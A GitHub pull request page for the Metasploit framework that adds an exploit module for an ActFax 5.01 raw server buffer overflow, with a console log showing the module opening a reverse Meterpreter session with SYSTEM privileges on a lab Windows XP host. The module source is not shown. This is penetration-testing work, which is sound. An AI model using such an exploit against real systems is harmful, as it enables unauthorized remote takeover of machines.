Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

added module for OSVDB 89944 #1632

Merged
merged 2 commits into from Mar 25, 2013
Merged

Conversation

jvazquez-r7
Copy link
Contributor

Seen in Exploit-DB and written by Craig Freyman and corelanc0d3r, just cleaned it a little and did pull request, maybe some of the authors would like to comment something about it :)

Vuln app and original exploit at http://www.exploit-db.com/exploits/24467/

msf > use exploit/windows/misc/actfax_raw_server_bof 
msf exploit(actfax_raw_server_bof) > set rhost 192.168.1.147
rhost => 192.168.1.147
msf exploit(actfax_raw_server_bof) > set rport 5555
rport => 5555
msf exploit(actfax_raw_server_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Trying target ActFax 5.01 / Windows XP SP3...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1494) at 2013-03-22 21:48:56 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
eComputer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(actfax_raw_server_bof) > 

@wchen-r7 wchen-r7 merged commit 6eaf995 into rapid7:master Mar 25, 2013
@jvazquez-r7 jvazquez-r7 deleted the actfax_raw_bof branch November 18, 2014 15:43
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants